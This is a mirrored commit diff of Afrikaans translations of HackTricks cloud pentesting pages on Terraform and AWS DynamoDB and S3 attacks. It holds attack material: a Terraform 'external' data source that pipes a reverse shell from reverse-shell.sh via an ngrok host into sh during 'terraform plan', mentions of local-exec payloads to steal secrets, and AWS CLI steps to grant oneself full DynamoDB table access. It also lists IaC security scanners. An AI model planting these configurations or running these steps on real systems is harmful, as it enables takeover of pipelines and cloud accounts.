mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -18,9 +18,9 @@ HashiCorp en die Terraform gemeenskap het reeds **meer as 1700 verskaffers** ges
|
||||
|
||||
Die kern Terraform werksvloei bestaan uit drie fases:
|
||||
|
||||
- **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
|
||||
- **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaatskyf (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
|
||||
- **Beplan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
|
||||
- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC hercreëer voordat dit die virtuele masjiene skaal.
|
||||
- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbronafhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -30,13 +30,13 @@ Installeer eenvoudig terraform op jou rekenaar.
|
||||
|
||||
Hier het jy 'n [gids](https://learn.hashicorp.com/tutorials/terraform/install-cli) en hier het jy die [beste manier om terraform af te laai](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform: konfigurasie lêer vergiftiging
|
||||
## RCE in Terraform: konfigurasielêer vergiftiging
|
||||
|
||||
Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasie lêers by te voeg/wysig** of om **in staat te wees om die terraform toestand lêer te wysig** (sien hoofstuk hieronder).
|
||||
Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasielêers by te voeg/wysig** of om **in staat te wees om die terraform toestand lêer te wysig** (sien hoofstuk hieronder).
|
||||
|
||||
Tog, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk.
|
||||
|
||||
Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repository wat terraform konfigurasies stoor te kompromitteer**, omdat dit op 'n stadium **geïterpreteer** gaan word.
|
||||
Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo wat terraform konfigurasies stoor te kompromitteer**, omdat dit op 'n stadium **geïterpreteer** gaan word.
|
||||
|
||||
Werklik, daar is oplossings daar buite wat **automaties terraform plan/toepas uitvoer nadat 'n PR** geskep is, soos **Atlantis**:
|
||||
|
||||
@@ -48,13 +48,13 @@ As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende m
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer.
|
||||
Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasielêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer.
|
||||
|
||||
**Gebruik 'n eksterne verskaffer**
|
||||
|
||||
Terraform bied die [`external` verskaffer](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` databron gebruik om arbitrêre kode tydens 'n `plan` uit te voer.
|
||||
|
||||
Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer:
|
||||
Om iets soos die volgende in 'n terraform konfigurasielêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -81,7 +81,7 @@ Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec]
|
||||
|
||||
**Gebruik van 'n eksterne verwysing**
|
||||
|
||||
Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg:
|
||||
Albei genoemde opsies is nuttig, maar nie baie stealthy nie (die tweede is meer stealthy, maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:
|
||||
|
||||
- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
|
||||
```javascript
|
||||
@@ -95,7 +95,7 @@ U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_exter
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur **'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Terraform apply sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur **'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** in te spuit.**\
|
||||
Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
@@ -154,11 +154,11 @@ Om dit direk te gebruik, sluit net die volgende in enige posisie van die `resour
|
||||
```
|
||||
Dan, sodra `terraform` uitgevoer word, sal jou kode loop.
|
||||
|
||||
### Huidige hulpbronne verwyder <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
### Verwydering van hulpbronne <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Daar is 2 maniere om hulpbronne te vernietig:
|
||||
|
||||
1. **Voeg 'n hulpbron met 'n ewekansige naam in die staatlêer in wat na die werklike hulpbron verwys wat vernietig moet word**
|
||||
1. **Voeg 'n hulpbron met 'n ewekansige naam in die staatlêer in wat na die werklike hulpbron wys om te vernietig**
|
||||
|
||||
Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron-ID wat aangedui word). Voorbeeld van die vorige bladsy:
|
||||
```json
|
||||
@@ -182,7 +182,7 @@ Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat
|
||||
|
||||
### Vervang geblacklisted verskaffer
|
||||
|
||||
In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer her-implementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die external verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of her-implementering ook publiseer.
|
||||
In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer her-implementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of her-implementering ook publiseer.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -203,7 +203,7 @@ program = ["sh", "-c", "whoami"]
|
||||
|
||||
### [**Snyk Infrastruktuur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk bied 'n omvattende Infrastruktuur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor.
|
||||
Snyk bied 'n omvattende Infrastruktuur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC-formate opspoor.
|
||||
|
||||
- **Kenmerke:**
|
||||
- Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies.
|
||||
@@ -221,23 +221,23 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbrons pakkette.
|
||||
|
||||
Dit skandeer wolkinfrastruktuur wat voorsien is met [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering.
|
||||
Dit skandeer wolkinfrastruktuur wat voorsien is met behulp van [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies met behulp van graf-gebaseerde skandering.
|
||||
|
||||
Dit voer [Software Composition Analysis (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbrons pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.
|
||||
Dit voer [Sagteware-samestelling analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit, wat 'n skandering van oopbrons pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Van die [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teen terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.
|
||||
|
||||
- **nakoming:** Verseker dat die geïmplementeerde kode die sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg.
|
||||
- **gedragsgedrewe ontwikkeling:** Ons het BDD vir byna alles, hoekom nie vir IaC nie?
|
||||
- **portabel:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installasie](https://terraform-compliance.com/pages/installation/)
|
||||
- **voor-ontplooi:** dit valideer jou kode voordat dit ontplooi word.
|
||||
- **maklik om te integreer:** dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
|
||||
- **segregasie van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
|
||||
- **compliance:** Verseker dat die geïmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg
|
||||
- **behaviour driven development:** Ons het BDD vir byna alles, hoekom nie vir IaC nie?
|
||||
- **portable:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** dit valideer jou kode voordat dit ontplooi word
|
||||
- **easy to integrate:** dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
|
||||
- **segregation of duty:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
|
||||
|
||||
> [!NOTE]
|
||||
> Ongelukkig, as die kode sommige verskaffers gebruik wat jy nie toegang tot het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie.
|
||||
@@ -256,7 +256,7 @@ Van die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik staties
|
||||
- ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes
|
||||
- ↪️ Evalueer Terraform funksies bv. `concat()`
|
||||
- 🔗 Evalueer verhoudings tussen Terraform hulpbronne
|
||||
- 🧰 Geskik vir die Terraform CDK
|
||||
- 🧰 Kompatibel met die Terraform CDK
|
||||
- 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe
|
||||
- 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif.
|
||||
- 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie-lêer)
|
||||
@@ -278,9 +278,9 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om:
|
||||
|
||||
- Naadloos infrastruktuur as kode te skandeer vir misconfigurasies.
|
||||
- Geverifieerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer.
|
||||
- Geverifieerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat houdingafwykings inbring, en stel jou in staat om na 'n veilige houding terug te keer.
|
||||
- Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
|
||||
- Risiko's te verminder voordat wolknatiewe infrastruktuur geprovisioneer word.
|
||||
- Risiko's te verminder voordat wolk-natiewe infrastruktuur geprovisieer word.
|
||||
- Bied buigsaamheid om plaaslik te loop of te integreer met jou CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
|
||||
@@ -18,7 +18,7 @@ As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy jouself of e
|
||||
|
||||
Die toekenning van die `dynamodb:PutResourcePolicy` aan 'n lukrake prinsiep gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die prinsiep sou toelaat om items in die databasis te plaas - of as hulle daardie toestemmingset voor Maart 2024 toegeken het...
|
||||
|
||||
Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander potensieel belangrike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het:
|
||||
Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander potensieel noodsaaklike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het:
|
||||
```bash
|
||||
# get the current resource based policy (if it exists) and save it to a file
|
||||
aws dynamodb get-resource-policy \
|
||||
@@ -47,7 +47,7 @@ As jy nie die huidige beleid kan verkry nie, gebruik net hierdie een wat volle t
|
||||
]
|
||||
}
|
||||
```
|
||||
As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid *EN watter van hierdie kan gebruik word oor rekeninge (denk data uitvloeiing!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid *EN watter van hierdie gebruik kan word oor rekeninge (dink data uitvloeiing!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
|
||||
Nou, met die beleidsdokument `policy.json` gereed, plaas die hulpbronbeleid:
|
||||
```bash
|
||||
@@ -57,11 +57,11 @@ aws dynamodb put-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--policy "$(cat policy.json)"
|
||||
```
|
||||
Nou, jy behoort die toestemmings te hê wat jy nodig gehad het.
|
||||
Nou behoort jy die regte toestemmings te hê wat jy nodig gehad het.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
So ver ek weet is daar **geen ander direkte manier om bevoegdhede in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**:
|
||||
Soos ek weet, is daar **geen ander direkte manier om regte in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
|
||||
@@ -34,7 +34,7 @@ Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation emmer
|
||||
]
|
||||
}
|
||||
```
|
||||
En die kaping is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon na die emmer opgelaai word** tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kap** die **inhoud** van daardie **emmer**.
|
||||
En die kaping is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon opgelaai word** na die emmer tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kap** die **inhoud** van daardie **emmer**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -50,14 +50,14 @@ Hier is 'n paar voorbeelde:
|
||||
|
||||
- As 'n EC2-instantie die **gebruikersdata in 'n S3-emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2-instantie uit te voer**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (opsioneel) oor terraform staat lêer
|
||||
### `s3:PutObject`, `s3:GetObject` (opsioneel) oor terraform toestand lêer
|
||||
|
||||
Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) staat lêers in blob stoor van wolkverskaffers gestoor word, bv. AWS S3. Die lêer-suffiks vir 'n staat lêer is `.tfstate`, en die emmername gee dikwels ook weg dat hulle terraform staat lêers bevat. Gewoonlik het elke AWS-rekening een sulke emmer om die staat lêers te stoor wat die staat van die rekening toon.\
|
||||
Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) toestand lêers in blob stoor van wolkverskaffers gestoor word, bv. AWS S3. Die lêer-suffiks vir 'n toestand lêer is `.tfstate`, en die emmername gee dikwels ook weg dat hulle terraform toestand lêers bevat. Gewoonlik het elke AWS-rekening een sulke emmer om die toestand lêers wat die toestand van die rekening toon, te stoor.\
|
||||
Ook gewoonlik, in werklike wêreld rekeninge het amper altyd alle ontwikkelaars `s3:*` en soms selfs besigheidsgebruikers `s3:Put*`.
|
||||
|
||||
So, as jy die toestemmings gelys oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pyplyn te verkry met die voorregte van `terraform` - meestal `AdministratorAccess`, wat jou die admin van die wolkrekening maak. Ook kan jy daardie vector gebruik om 'n ontkenning van diens aanval te doen deur `terraform` te laat verwyder legitieme hulpbronne.
|
||||
So, as jy die toestemmings gelys oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pyplyn te verkry met die voorregte van `terraform` - meestal `AdministratorAccess`, wat jou die admin van die wolkrekening maak. Ook kan jy daardie vektor gebruik om 'n ontkenning van diens aanval te doen deur `terraform` te laat verwyder legitieme hulpbronne.
|
||||
|
||||
Volg die beskrywing in die *Misbruik van Terraform Staat Lêers* afdeling van die *Terraform Sekuriteit* bladsy vir direk bruikbare eksploit kode:
|
||||
Volg die beskrywing in die *Misbruik van Terraform Toestand Lêers* afdeling van die *Terraform Sekuriteit* bladsy vir direk bruikbare eksploitkode:
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
|
||||
Reference in New Issue
Block a user